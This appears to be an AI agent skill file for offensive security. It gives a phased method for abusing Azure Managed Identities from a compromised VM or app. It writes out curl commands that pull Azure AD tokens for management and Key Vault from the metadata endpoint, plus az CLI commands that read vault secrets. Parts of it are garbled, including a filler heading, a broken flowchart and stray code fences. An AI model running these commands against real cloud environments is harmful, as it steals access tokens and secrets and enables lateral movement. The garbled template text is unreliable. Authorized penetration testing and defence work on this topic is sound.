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Abuse Azure Managed Identities from compromised Azure Virtual Machines (VMs), Functions, or App Services to seamlessly request valid, highly-privileged Azure AD access tokens and laterally move throughout the cloud environment without requiring explicit credentials.
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Original instructions from the publisherβs SKILL.md
# Azure Managed Identity Abuse
## When to Use
- When To When Workflow
### Phase 1: Validating the Environment
```bash
# Concept: 1. curl -H Metadata:true "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
# 2. ```
### Phase 2: Requesting Azure AD Tokens
```bash
# Concept: curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com%2F' -H Metadata:true > token.json
# curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fvault.azure.net' -H Metadata:true > vault_token.json
# ```
### Phase 3: Abusing the Associated Privileges
```bash
# 1. curl -H "Authorization: Bearer <TOKEN>" https://management.azure.com/subscriptions?api-version=2020-01-01
# 2. CONNECT az CLI az login --identity
az keyvault secret show --name MySecret --vault-name TargetVault
```
#### Decision Point π
```mermaid
flowchart TD
A[Compromise ] --> B[Test ]
B --> C{Does }
C -->|Yes| D[Request ]
C -->|No| E[Check D --> F[Pivot ]
```
## Prerequisites
- Authorized scope and rules of engagement for the target environment
- Appropriate tools installed on the attack/analysis platform
- Understanding of the target technology stack and architecture
- Documentation template ready for findings and evidence capture
## Output Format
```
Azure Managed Identity Abuse β Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]
Findings Summary:
[Finding 1]: [Severity] β [Brief description]
[Finding 2]: [Severity] β [Brief description]
Detailed Results:
Phase 1: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Phase 2: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
1. [Immediate remediation step]
2. [Long-term hardening measure]
3. [Monitoring/detection improvement]
```
## π΅ Blue Team
- Deploy robust WAF rules to detect anomalies.
- Monitor logs for unusual access patterns.
## π Shared Resources
> For cross-cutting methodology applicable to all vulnerability classes, see:
> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) β Exploit chaining methodology and high-payout chain patterns
> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) β HackerOne-optimized report writing, CWE quick reference
> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) β Verified disclosed bounties by vulnerability class
## References
- Microsoft: [Managed identities for Azure resources](https://learn.microsoft.com/en-us/azure/active-directory/managed-identities-azure-resources/overview)
- HackTricks: [Azure Managed Identity Abuse](https://book.hacktricks.xyz/cloud-security/azure-security/az-managed-identities)